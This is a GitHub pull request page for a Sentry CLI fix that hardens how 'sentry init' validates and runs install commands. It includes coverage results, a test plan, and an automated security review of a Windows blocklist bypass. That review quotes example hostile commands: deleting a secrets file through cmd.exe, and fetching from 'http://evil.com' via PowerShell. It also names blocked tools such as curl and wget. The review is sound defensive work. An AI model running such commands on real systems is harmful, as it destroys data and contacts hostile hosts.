fix(init): harden install command execution#1045
Conversation
|
Codecov Results 📊✅ Patch coverage is 100.00%. Project has 4831 uncovered lines. Files with missing lines (1)
Coverage diff@@ Coverage Diff @@
## main #PR +/-##
==========================================
+ Coverage 81.44% 81.52% +0.08%
==========================================
Files 373 373 —
Lines 26090 26141 +51
Branches 17015 17052 +37
==========================================
+ Hits 21248 21310 +62
- Misses 4842 4831 -11
- Partials 1769 1770 +1Generated by Codecov Action |
There was a problem hiding this comment.
BLOCKED_EXECUTABLES can be bypassed on Windows via cmd.exe or powershell.exe indirection (src/lib/init/tools/command-utils.ts:65)
Windows shell interpreters cmd, powershell, and pwsh are absent from BLOCKED_EXECUTABLES, so a command like cmd.exe /c del sensitive_file passes all validation: no shell metacharacter, first token normalizes to "cmd" which is not blocked, and the del token is never checked against the blocklist because only the first token is validated.
Evidence
validateCommandcallsnormalizeExecutableName(firstToken)and checks only that againstBLOCKED_EXECUTABLES(line 307-308).normalizeExecutableName("cmd.exe")strips the.exeextension and returns"cmd", which is not present inBLOCKED_EXECUTABLES.- Tokens like
del,curl,wget,bashappear at positions >0 and are never checked, socmd.exe /c del secrets.txtorpowershell.exe -Command Invoke-WebRequest http://evil.compass validation and are executed byspawnwithshell: falseinrunSingleCommand. cd,pushd,popdwere just added to the blocklist in this hunk, confirming the intent to block indirect shell builtins, butcmd/powershell/pwshwere not added.
Identified by Warden security-review
|
Fixed the Windows shell-interpreter bypass in |
There was a problem hiding this comment.
Cursor Bugbot has reviewed your changes and found 1 potential issue.
❌ Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, enable autofix in the Cursor dashboard.
Reviewed by Cursor Bugbot for commit 79496a6. Configure here.

Summary
Hardens the local
sentry initcommand runner for install recovery. Windows now only uses shell execution for resolved.cmd/.batshims, while regular.execommands stay shell-free. The validator also blocks recursive Sentry setup variants and Windows shell expansion characters without adding a package-manager allowlist.Test Plan
pnpm exec vitest run test/lib/init/tools/run-commands.test.ts test/lib/init/tools/run-commands-spawn.mocked.test.tspnpm exec biome check --no-errors-on-unmatched src/lib/init/tools/command-utils.ts src/lib/init/tools/run-commands.ts test/lib/init/tools/run-commands.test.ts test/lib/init/tools/run-commands-spawn.mocked.test.tspnpm run generate:schema && pnpm run test:changed— 89 files passed, 2056 tests passed, 7 skipped